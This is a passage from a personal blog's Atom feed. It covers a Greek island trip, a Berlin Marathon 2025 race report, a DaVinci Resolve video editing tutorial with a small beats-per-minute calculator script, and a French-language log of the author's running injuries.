&lt;li&gt;Explored the most northern part of the island around the monastry "Ag. Georgios". Then we enjoyed the sunset from the Cheronissos beach.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/sifnos.jpg" alt="Photo of the Church of the Seven Martyrs" /&gt;
&lt;figcaption&gt;Sifnos - Church of the Seven Martyrs&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Renting a car or a scooter is advisable to easily explore the island.&lt;/p&gt;
&lt;h2 id="santorini"&gt;Santorini&lt;/h2&gt;
&lt;p&gt;Santorini was... mixed feelings. On the one hand, it's way too touristic and filled with people. Every day, cruise ships come and let out thousands of tourists who flood the streets in no time. Most of them from the US it seemed. The car traffic is insane. And everything is over priced. It is very hard to find a main course under 20 euros. On the other hand, the geological features of the island are unique and truly stunning, it's fascinating! It is the remains of what used to be a volcano. Sunsets on Santorini are second to none.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/santorini.jpg" alt="Photo of the Three Bells of Fira in Santorini" /&gt;
&lt;figcaption&gt;Santorini - Three Bells of Fira&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Even though buses exist in Santorini, I once again recommend renting a car. The island is full of quads and ATVs that tourists rent. Very loud and pretty annoying...&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/greece/atvs.jpg" alt="Photo showing ATVs and quads" /&gt;
&lt;figcaption&gt;ATVs and quads in Santorini&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I got to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Swim at Mera Beach, a.k.a. the black beach&lt;/li&gt;
&lt;li&gt;Swim at the Red Beach&lt;/li&gt;
&lt;li&gt;Tried to "hike" to the White Beach. But actually reaching the beach on foot was hard, so we did not do it.&lt;/li&gt;
&lt;li&gt;Explored Oia, Fira and Imerovigli on foot.&lt;/li&gt;
&lt;li&gt;We did a &lt;a href="https://www.santorini-view.com/boat-volcano-tours/volcano-boat-tour-including-hot-springs-therasia-caldera-boats/"&gt;5-hour-long boat cruise from the old port of Fira, to the Volcano, then Hot Springs, then Thirasia, and back&lt;/a&gt;. 100% recommended. Only 35 euros. Great value for money. We had a lot of fun exploring the volcano and swimming in the hot springs. There was nothing special about Thirasia but it was still nice to visit.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All in all, Greece was fun! It seemed extremely popular among French people. I swear, 1 out of 3 tourists was French. Still, I'll happily go again. Next time on different islands. Going from island to island is fairly easy thanks to the many daily ferries.&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="greece"></category></entry><entry><title>Berlin Marathon 2025: Race Report</title><link href="https://romainpellerin.eu/berlin-marathon-2025-race-report.html" rel="alternate"></link><published>2025-10-11T19:45:00+02:00</published><updated>2025-10-16T23:20:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-10-11:/berlin-marathon-2025-race-report.html</id><summary type="html">&lt;p&gt;First time running Berlin... a race I will never forget&lt;/p&gt;</summary><content type="html">&lt;p&gt;Marathons rarely go as planned. Anything can happen. No matter how strong the training block was, marathons are brutal and often unpredictable. Sunday the 21st of September was no different. Nothing went according to plan. Yet it was a great race! One for the books.&lt;/p&gt;
&lt;h1 id="some-context"&gt;Some context&lt;/h1&gt;
&lt;p&gt;329 days, 3 marathons. Dresden (October 2024), Paris (April 2025), now Berlin (September 2025). I had high expectations for Berlin, given how flat the course is.&lt;/p&gt;
&lt;p&gt;My training block for Berlin was a rollercoaster. I wrote it all in &lt;a href="https://romainpellerin.eu/season-update-et-nouvelle-blessure.html"&gt;a previous article&lt;/a&gt;. In short:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;June 2025&lt;/strong&gt;: I began training for Berlin mid-June, after completing my first IRONMAN 70.3 on June 1st. Shortly after, I stepped on glass and badly injured my right foot. I was not able to run for a full week.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;July and August&lt;/strong&gt;: a pain started growing in my left foot over the weeks. A pain that had been there in the background since March or April. A peroneal tendinopathy I believe. That forced me to pause and resume my training multiple times over these 2 months. At some point, after coming back to running after multiple days off, I started developing a iliotibial band syndrome on the same leg which prevented me from properly training in August.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;End of August / beginning of September&lt;/strong&gt;: I was finally healing. My 2 injuries were almost completely gone (peroneal tendinopathy + iliotibial band syndrome). But I caught COVID in the last days of August, so the first week of September was pretty shit in terms of training. I had to stay away from running for 2 or 3 days. Then I got back to it, despite feeling weak. It took 10 days in total for all COVID symptoms to vanish completely. Yet I kept on kunning, cause fuck it. After that came the tapering phase. End of the training.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/berlin-marathon-2025-90km.png" alt="Screenshot of Strava" /&gt;
&lt;figcaption&gt;I ran 90 kms in the week 1 to 7 September. The week before, I was having fever.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Back in June, my initial goal for this marathon was sub 3 hours (pace of 4'10"/km). But in July, because of all the problems I had, I changed it to a pace of 4'20"/km.&lt;/p&gt;
&lt;p&gt;I believe this was a realistic goal, despite my training being so inconsistent. But the weather decided otherwise. Weather forecast for that Sunday: scorching temperatures peaking at 26°C under a clear blue sky. I knew I was in for everything but a treat. A heatwave over western Europe. Only for Saturday and Sunday... Shit.&lt;/p&gt;
&lt;h1 id="race-day"&gt;Race day&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/berlin-marathon-2025/gear.jpg" alt="Screenshot of the weekly kms on Strava" /&gt;
&lt;figcaption&gt;Running gear&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The alarm clock went off around 7:30, after an ok-ish night. I had not slept well the week before at all because of the stress building up, but that night turned out ok in terms of hours of sleep. Breakfast, pitstop at the bathroom and we were out at 8:25, on the bike, headed to the starting line.&lt;/p&gt;
&lt;p&gt;9:10. I made my way to my corral. People become animals before races. No one cared anymore, not even women, who had no problems doing their business in front of everybody in the Tiergarden forest. I was no different and took a last piss. I could not afford to wait for a porta-potty, as the waiting lines were quite long.&lt;/p&gt;
&lt;p&gt;Around me people were already covered in sweat. It was already pretty hot. At 9:15 the gun went off.&lt;/p&gt;
&lt;p&gt;I could not actually get in my corral until after the official start of the race. It was too packed. A lot of runners like me had to wait behind the fences, until the crowd started moving forward to the starting line, after the race had started. I was in the group B.&lt;/p&gt;
&lt;p&gt;After progressing forward slowly, I crossed the starting line at 9:24. The first few kms were not easy, the density of runners was high, it was pretty hard to get to pace. But I was feeling confident and at ease. However, that was not gonna last long...&lt;/p&gt;
&lt;p&gt;At km 10, I started to realize that running at my goal pace was becoming challenging. I started feeling quite unwell from that moment on. Extremely thirsty on top of that, despite the cups of water that I had grabbed at aid stations. I normally never look at my HR in races but I decided to glance at it this time. More than 180! Under normal circumstances it should have been around 170, maybe 175, but definitely not 180+. Unbelievable. And unbearable in the long term, I knew it. Fortunately, I had a secondary goal in mind: set a personal record in the half marathon. I decided to shift gears and give up on my marathon PR at that moment. Full focus on the first half marathon. Then I would slow down and try to bring the HR down. Until then, full throttle and fuck the HR.&lt;/p&gt;
&lt;p&gt;I crossed the half marathon mark in 1h33'08". From then on, the rest of the race was a constant fight against myself. Negative thoughts on and on again. "I could stop right there", "I already got a half marathon PR, no point in carrying on". Non stop. I started walking at aid stations, something I had never done before. I would drink 2, often 3 full cups of water, and poor another 2 on my head and body. At every damn aid station. People started walking on the course as soon as km 25, much earlier than what I had seen before. My pace dropped quite significantly but I was at peace with it. Just wanted to get it over with. As fast as possible.&lt;/p&gt;
&lt;p&gt;Ultimately, &lt;strong&gt;I crossed the finish line in 3h15'58"&lt;/strong&gt;, official time. 3 minutes slower than Paris, 10 minutes slower than my goal, 4 minutes slower than what my Garmin watch had predicted for that race. It is what it is. I couldn't beat the heat - and very few could!&lt;/p&gt;
&lt;p&gt;I can't blame the weather only. My training was quite shit, due to 2 injuries and catching COVID in the last 3 weeks. Yet I am very proud of my time and the pace I could hold. I'm also happy I did not give up.&lt;/p&gt;
&lt;p&gt;I'm glad I had zero gastrointestinal disturbances. However, I had quite a few stomach cramps, maybe 4 or 5 throughout the race. They felt like side stitches, but I know they were not linked to my breathing, rather originating from below. I think I had the first one around km 2. Every time they lasted about 1 or 2 km and then would vanish. My trick to help them go away was to contract my abs as much as possible. That worked most of the time.&lt;/p&gt;
&lt;p&gt;The crowds were amazing! My girlfriend and friends cheering on were a massive help! Running at home felt truly different, I loved it.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/berlin-marathon-2025/strava-results.jpg" alt="Photo with Strava data" /&gt;
&lt;figcaption&gt;Crossing the finish line - with some data from Strava&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Berlin, I will come back. Stronger! 💪&lt;/p&gt;
&lt;h1 id="some-after-thoughts"&gt;Some after thoughts&lt;/h1&gt;
&lt;p&gt;I enjoyed this weekend so much. It felt like the whole city was dedicated to running. There were events everywhere in the city, especially on Saturday. Posters and massive ads painted on buildings were everywhere.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/berlin-marathon-2025/berlin.jpg" alt="Photo of a building" /&gt;
&lt;figcaption&gt;A building in Berlin - Kurfürstendamm&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;As early in the week as Thursday, one could witness the "major marathon" effect: loads of people were traveling from everywhere in the world and flocking to Berlin. On that day I decided to dye my hair blond just for the race 😆.&lt;/p&gt;
&lt;p&gt;Saturday was insane. Many clubs and influencers organized community runs on that day. The famous street "Unter den Linden" was already clossed off to cars and filled with runners. I joined a community run organized by Dorian Louvet in Tiergarten, with around 100 other people.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/berlin-marathon-2025/dorian-louvet.jpg" alt="Photo with Dorian Louvet" /&gt;
&lt;figcaption&gt;Dorian Louvet on the right handside&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;As to my own performance, of course the hot weather played a major role. But with hindsight, what I really missed were those 28-km-long training runs with 5x4000m at marathon pace, in the last 6 weeks before the race, that I did when I was training for Paris earlier this year. They had helped me build my mental strength but also they had prepared my muscles for such a long effort. I'll do better next time hopefully 🤞.&lt;/p&gt;</content><category term="Running"></category><category term="marathon"></category><category term="running"></category><category term="berlin"></category></entry><entry><title>My Ultimate Video Edition Tutorial</title><link href="https://romainpellerin.eu/my-ultimate-video-editing-tutorial.html" rel="alternate"></link><published>2025-08-14T14:20:00+02:00</published><updated>2025-08-14T14:20:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-08-14:/my-ultimate-video-editing-tutorial.html</id><summary type="html">&lt;p&gt;Everything to edit awesome videos&lt;/p&gt;</summary><content type="html">&lt;h1 id="camera-setup"&gt;Camera setup&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;30 fps&lt;/strong&gt; (or 60 fps for slow-mo). Cause it's the most widely available format, and my Pixel phone still does not support 25fps.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HEVC/H265&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SDR (Rec709)&lt;/strong&gt;. Why not HDR? Support for HDR is still very limited. Most external monitors still do not render HDR properly, same for social media (Strava, Instagram)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4K (Ultra HD)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="story-telling"&gt;Story telling&lt;/h1&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/kioBTrOEFUo" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/vHfVI_4unYY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="software"&gt;Software&lt;/h1&gt;
&lt;p&gt;Davinci Resolve.&lt;/p&gt;
&lt;h2 id="settings"&gt;Settings&lt;/h2&gt;
&lt;h3 id="master-settings"&gt;Master settings&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;29.97&lt;/strong&gt; or &lt;strong&gt;30 fps&lt;/strong&gt;, depending on what your device produced. Pixel phones actually produce 29.97fps.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4K (3840x2160)&lt;/strong&gt;. You can tick "Use vertical resolution" when producing for social media.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ultimate-video-tutorial/master-settings.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Master settings&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 id="color-management"&gt;Color management&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=c4AVwVdKTHc"&gt;"DaVinci YRGB Color Managed" with "Automatic color management" ticked is the easiest and best choice, unless you know what you're doing.&lt;/a&gt; Also, go with SDR and Rec.709, as HDR is not yet widely supported.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ultimate-video-tutorial/color-management.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Color management&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="how-to-sync-clips-on-music-beats"&gt;How to sync clips on music beats&lt;/h1&gt;
&lt;p&gt;I like to sync the audio track with the video, so I try my best to change scenes on the beat.&lt;/p&gt;
&lt;p&gt;For transitions, I recommend that the new clip starts 1 or 2 frames before the next music beat, because of &lt;a href="https://en.wikipedia.org/wiki/Persistence_of_vision"&gt;the persistence of vision&lt;/a&gt;. I read &lt;a href="https://www.reddit.com/r/kdenlive/comments/dzzcib/is_there_a_way_to_match_the_bpm_of_a_song_while/"&gt;on Reddit&lt;/a&gt; that the human eye takes 1/10th of a second to process images, while sound is near instant. 1/10th of a second, with 30FPS, would mean 3 frames. 1 or 2 frames is usually enough though, in my experience.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/kdenlive-transition-music-beat.png" alt="Screenshot of Kdenlive" /&gt;
&lt;figcaption&gt;Here the transition happens 1 frame before the next music beat&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;To determine how long a clip should last, based on the music, I use this website: &lt;a href="http://www.beatsperminuteonline.com/"&gt;Tap BPM - Online Beats Per Minute Calculator and Counter&lt;/a&gt;. Once I know the "speed" of a song (how many beats per minute), I use the calculator below to determine clip lengths.&lt;/p&gt;
&lt;h2 id="beats-calculator"&gt;Beats calculator&lt;/h2&gt;
&lt;p&gt;&lt;input type="text" id="beats" placeholder="Beats per minute here"/&gt;
&lt;input type="text" id="fps" placeholder="Desired frames per second here"/&gt;&lt;/p&gt;
&lt;pre id="results"&gt;&lt;/pre&gt;
&lt;script&gt;
    let BEATS = [1,2,3,4,6,8]
    const inputBeats = document.querySelector('input#beats')
    const inputFps = document.querySelector('input#fps')
    function inputChange() {
        const value = inputBeats.value
        const fps = inputFps.value
        if (!value || isNaN(value) || !fps || isNaN(fps)) return
        const pre = document.getElementById('results')
        pre.innerHTML = ""
        BEATS = [...new Array(+value)].map(function(_,i) { return i })
        const result = BEATS.concat(value).filter(function(beat) { return beat &gt; 0 }).map(function(beat) {
            let tempResult = (beat*60)/value
            const regex = tempResult.toString().match(/^(\d+\.)(\d+)$/)
            if (regex) {
                const integer = regex[1]
                const floating = (parseFloat("0." + regex[2], 10)*100*fps)/100
                const seconds = parseInt(integer, 10)
                const frames = Math.round(floating)
                tempResult = `${seconds} seconds and ${frames} frames (${(seconds * fps) + frames} frames)`
            }
            else {
                tempResult = `${tempResult} seconds and 0 frames (${tempResult * fps} frames)`
            }
            pre.innerHTML += "- " + beat + " beats = " + tempResult + "\n"
        })
    }
    inputBeats.oninput=inputChange
    inputFps.oninput=inputChange
    if (inputBeats.value || inputFps.value) {
        inputChange()
    }
&lt;/script&gt;

&lt;h1 id="titles"&gt;Titles&lt;/h1&gt;
&lt;p&gt;I like to use the font "&lt;a href="https://fonts.google.com/specimen/Playfair+Display"&gt;PlayFair Display&lt;/a&gt;" with a glowing effect, in two colors mostly: beige (#FFEBAF) and red (#FF2600).&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ultimate-video-tutorial/titles-davinci.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Titles in Davinci&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ultimate-video-tutorial/title-glow1.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Glow settings&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/ultimate-video-tutorial/title-glow2.png" alt="Screenshot of Davinci Resolve" /&gt;
&lt;figcaption&gt;Glow settings&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="color-grading"&gt;Color grading&lt;/h1&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/Zq_MU02oYo8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="output"&gt;Output&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;FPS: keep the same setting as defined in the project settings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HEVC/H265&lt;/strong&gt;: for size reasons&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MP4&lt;/strong&gt; as a container&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SDR (Rec709)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4K (Ultra HD)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;10MBps&lt;/strong&gt; for storing on external hard disk drives, &lt;strong&gt;50MBps&lt;/strong&gt; for the file to upload to Youtube or social media.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="example-of-a-recent-project-of-mine"&gt;Example of a recent project of mine&lt;/h1&gt;
&lt;video controls&gt;
  &lt;source src="./videos/ultimate-video-tutorial.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;style&gt;
video {
  display: block;
  margin: auto;
  width: 50%;
}
&lt;/style&gt;</content><category term="Video editing"></category><category term="video"></category><category term="editing"></category><category term="davinci resolve"></category></entry><entry><title>Season Update et Nouvelle Blessure</title><link href="https://romainpellerin.eu/season-update-et-nouvelle-blessure.html" rel="alternate"></link><published>2025-08-05T18:00:00+02:00</published><updated>2025-10-11T19:50:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-08-05:/season-update-et-nouvelle-blessure.html</id><summary type="html">&lt;p&gt;News à l'approche de la fin de saison sportive 2025&lt;/p&gt;</summary><content type="html">&lt;h1 id="les-7-derniers-mois"&gt;Les 7 derniers mois&lt;/h1&gt;
&lt;p&gt;Ce début d'année était plutôt chargé, trop peut-être même. Voici les événements auxquels j'ai participé ainsi que mes temps.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Marathon de Paris&lt;/strong&gt; (13 Avril) : 3h12'42". Mon record à date, malgré un parcours un peu vallonné.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Berliner Firmenlauf&lt;/strong&gt; (21 Mai) : 5.5 km courus en 20 minutes et 21 secondes (officiel), 5.32 km en 20'33" soit 3'52"/km (Strava). Encore un record.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IRONMAN 70.3 de Tours, France&lt;/strong&gt; (1 Juin) : 5h00'58" sur un parcous très roulant. Premier 70.3 ever, donc un record of course.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;L'Étape du Tour de France&lt;/strong&gt; (20 Juillet) : 131 km de vélo, 4500 mètres de dénivelé positif, temps de 7h09'47".&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="nouvelle-blessure"&gt;Nouvelle blessure&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/marathon-de-paris-2025-race-report.html"&gt;Ma prépa marathon de Paris s'était passée à merveille, la course aussi.&lt;/a&gt;. Cependant, dans les quelques semaines précédant la course, une légère douleur était apparue dans le pied gauche. Rien de bien grave, à peine sentie pendant la prépa, voire pas du tout pendant le marathon. Cependant, elle n'a jamais vraiment disparu, et est réapparue plus forte lors de la reprise de mon entraînement en vue de l'IRONMAN, début Mai. Elle m'a même empêché de m'entraîner comme je voulais, j'ai dû annuler quelques séances à cause de la douleur.&lt;/p&gt;
&lt;p&gt;C'est une douleur dans le pied gauche, vers l'extérieur et un peu sur le dessus sous la cheville. Rien de visible à l'oeil nul (pas de gonflement ou de changement de couleur). Mes symptômes me font penser à une &lt;a href="https://la-clinique-du-pied.fr/cheville/pathologie-cheville/tendinite-chronique-des-peroniers"&gt;tendinite/tendinopathie péronière&lt;/a&gt; (tendinopathie des tendons fibulaires). Et &lt;strong&gt;non&lt;/strong&gt; du &lt;a href="https://lacliniqueducoureur.com/coureurs/blogue/archives/tendinopathie-ou-dysfonction-du-tendon-tibial-posterieur-une-pathologie-pas-comme-les-autres-partie-12/"&gt;tendon tibial postérieur&lt;/a&gt;, qui lui est dans l'intérieur du pied. Ma douleur est ressentie le matin au lever lors des premiers pas, puis globalement à chaque fois que je me lève après de longues minutes assis. Si je me mets sur la pointe des pieds 2 ou 3 fois d'affilé pendant quelques secondes (et donc contracte mes muscles assez fortement), la douleur disparait presque immédiatement ensuite lors de la marche. Lorsque je commence à courir, je la sens assez fortement aussi, puis elle disparait avec les kilomètres en général, ou du moins se stabilise à 1 ou 2/10.&lt;/p&gt;
&lt;p&gt;Lors de l'IRONMAN, la douleur ne m'a pas gênée, bien que j'ai l'ai sentie (environ à 2/10). C'est une douleur qui disparait au fur-et-à-mesure de l'effort, plus le corps est chaud. Après l'IRONMAN, j'ai coupé la course à pied 2 semaines. La douleur a complétement disparue lors de la marche.&lt;/p&gt;
&lt;p&gt;Mi-juin, j'ai voulu attaquer la prépa marathon pour Berlin, et au bout d'une semaine à peine, la douleur était de nouveau là. D'abord, uniquement en début de run. Puis au fil des jours, présente lors de la marche après de l'inactivité. Juin et Juillet n'auront été qu'une succession de pauses puis reprises de la course à pied après plusieurs jours, dès lors que la douleur devenait trop forte pendant le run ou trop présente en dehors des runs. Gros coup sur la motivation. Sans compter sur l'été de merde qu'on se tape, temps gris, beaucoup de pluie, rarement au dessus de 22 degrés. Motivation dans les choux pour ce marathon.&lt;/p&gt;
&lt;p&gt;J'ai essayé &lt;a href="https://www.youtube.com/watch?v=yGcqJWBFRRc"&gt;ces exercices&lt;/a&gt; quelques jours, sans grand succès. J'ai aussi fait un peu de &lt;a href="https://romainpellerin.eu/calf-muscle-tear.html#:~:text=Stanish Protocol"&gt;protocole de Stanish&lt;/a&gt; ou &lt;a href="https://www.youtube.com/watch?v=HvQ2gpLdsx4"&gt;ces autres exercices&lt;/a&gt; sans plus de succès.&lt;/p&gt;
&lt;h1 id="marathon-de-berlin"&gt;Marathon de Berlin&lt;/h1&gt;
&lt;p&gt;J'ai sauté au moins la moitié des séances prévues pour ma prépa. Mon test VMA effectué en Juin a été une catastrophe. J'ai jamais dépassé les 60 km par semaine pour l'instant, et j'ai plusieurs semaines où le compteur est resté à zéro. Je n'ai presque fait aucune séance de fractionné. Bref, rien ne va.&lt;/p&gt;
&lt;p&gt;Mon objectif pour Berlin, au lendemain de celui de Paris, était sub-3 heures. Je m'étais senti à l'aise à Paris, et Berlin est beaucoup plus plat que Paris. Ça signifiait quand même gagner près de 20 secondes au kilomètre, mais je m'en sentais capable. Cependant, au vu de mon entraînement so far, si j'arrive à battre mon temps de Paris ne serait-ce que de quelques secondes, ce sera un miracle. Rendez-vous dans 47 jours pour le verdict...&lt;/p&gt;
&lt;h1 id="update-jeudi-7-aout-2025"&gt;Update Jeudi 7 Août 2025&lt;/h1&gt;
&lt;p&gt;J'ai coupé mon entraînement marathon la semaine dernière. Ma dernière séance avec blocs à allure marathon était le mercredi 30 Juillet, le jeudi 31 j'avais de l'endurance fondamentale, puis j'ai coupé. Lundi 4 Août, je décide de reprendre la course à pied mais uniquement de l'EF, pas mon plan. En tout cas pour quelques jours. Lundi donc, 21 min en EF (3.77 km). Mardi rien. Mercredi 3, 30 min en EF (5.46 km). Aujourd'hui, 20 min à nouveau. La douleur ne semble pas revenir. En moyenne elle est à 0 ou 1/10. Hier, j'ai eu des pics à 2/10 mais brièvement. Pas de douleur lors de la marche, rien le matin lors des premiers pas. On croise les doigts 🤞. Cette semaine, je garde la fréquence (5 runs), mais je coupe le volume et l'intensité. Semaine pro, j'essaie de remettre du volume. Et enfin dans 2 semaines, je remets de l'intensité.&lt;/p&gt;
&lt;h1 id="update-lundi-11-aout-2025"&gt;Update Lundi 11 Août 2025&lt;/h1&gt;
&lt;p&gt;Bon ça pue. J'ai pu finir la semaine passée en EF, en faisant 31 km au total sans trop de douleur au pied gauche. Par contre j'ai une nouvelle douleur qui est apparue sur le côté externe du genou gauche 😅, sur un tendon on dirait, ou peut-être la bandelette ilio tibiale. Un syndrome de l'essuie glace ? Le mercredi 30 juillet j'ai passé une partie de l'après-midi assis en tailleur, chose que je ne fais jamais habituellement... Est-ce la cause ? La douleur était apparue pour la première fois le lendemain lors d'un run. Ou alors aurais-je modifié ma foulée à cause de ma douleur au pied, ce qui aurait entrainé cette douleur au genou ? Aucune idée. Je ne suis même pas sûr que ça soit un syndrome de l'essuie glace, mais de ce que je lis sur Internet, ça y ressemble. Hyper handicapant quand ça se déclenche, ça m'empêche carrément de courir et me force à m'arrêter, seule la marche devient possible. La douleur est apparue plusieurs fois dans les derniers jours, à chaque fois en fin de run, d'un coup. La douleur est là quand le genou est plié, jambe en arrière "en l'air", après avoir perdu le contact avec le sol. Pareil en descendant des escaliers, dès que la jambe passe "derrière moi", légère douleur. Emmerdant cette histoire, je suis de moins en moins sûr de prendre le départ du marathon. Toute ambition de performance est oubliée. Vivement Octobre, je vais me prendre un full mois off from running.&lt;/p&gt;
&lt;h1 id="update-dimanche-17-aout-2025"&gt;Update Dimanche 17 Août 2025&lt;/h1&gt;
&lt;p&gt;Pas d'amélioration en vue. Sortie de 12 km hier avec variations d'allure. Douleur dans le pied gauche ok, entre 0 et 2/10 tout du long, plutôt à 0 en fin de sorie. Douleur genou gauche à 0 puis dans les 2 ou 3 derniers kms j'ai senti que ça "venait". J'ai réussi à empêcher la grosse douleur de se déclencher à plusieurs reprises en accélerant, et surtout en forcant une attaque avant-pied. Je rentre, dîner, 30 minutes assis. Au moment de me lever, la maxi douleur se déclenche, à 7 ou 8 sur 10, me faisant boiter en marchant. Aujourd'hui, la douleur était encore là ce matin, et plus rien ce soir, après 70 km de vélo (pendant lesquels je n'ai absolument rien senti). Ma douleur au pied elle n'empire pas mais ne disparait pas non plus. Je la sens à 1/10 ou 2/10 plusieurs fois dans la journée. Quasiment sûr à 100% que ma douleur au genon vient de ma douleur au pied.&lt;/p&gt;
&lt;p&gt;Au stage où j'en suis, je ne suis même pas sûr d'avoir un syndrome de l'essuie-glace. Peut-être est-ce une autre type de douleur... En attendant, 2 vidéos sur le sujet pour du renforcement musculaire spécifique.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=8iEwZl03ZAc"&gt;Comment soigner seul son syndrome de l'essuie glace (protocole kiné)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://youtu.be/PN6EPazCXM8?t=1172"&gt;Comment soigner le Syndrome de l’essuie glace/ syndrome de la bandelette en 2023&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;À retenir, après un diagnostic du syndrome de l'essuie-glace, il faut :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Couper l'entrainement jusqu'à disparition de la douleur totalement lors de la marche.&lt;/li&gt;
&lt;li&gt;Réintégrer progressivement des séances avec marche et course alternées (1 min marche/1 min course par exemple, 10 fois). Au fil des jours et semaines, on augmente la part de course par rapport à la marche et on augmente la durée et le nombre de répétitions. Chaque séance doit se faire sans douleur, sinon revenir au "palier" précédent. On évitera de courir en ligne droite sur des surfaces trop régulières (préférer courir sur chemin plutôt que la route) et des allures trop régulières (préférer des variations d'allure). Essayer de se rapproche de 180 pas par minute, et de faire la moins de bruit possible en courant (courir "légèrement"/ligthly).&lt;/li&gt;
&lt;li&gt;En parallèle, faire du renforcement spécifique (voir les 2 vidéos au-dessus).&lt;/li&gt;
&lt;li&gt;En général il faut compter 4 à 6 semaines pour soigner ça.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="update-jeudi-28-aout-2025"&gt;Update Jeudi 28 Août 2025&lt;/h1&gt;
&lt;p&gt;Légères améliorations. Plus aucune douleur au genou gauche depuis une dizaine de jours, fin du chapitre syndrome de l'essui-glace ? Même si je le sens encore fragile et fatiguable, pas de douleur à proprement parler pendant ou après les runs.&lt;/p&gt;
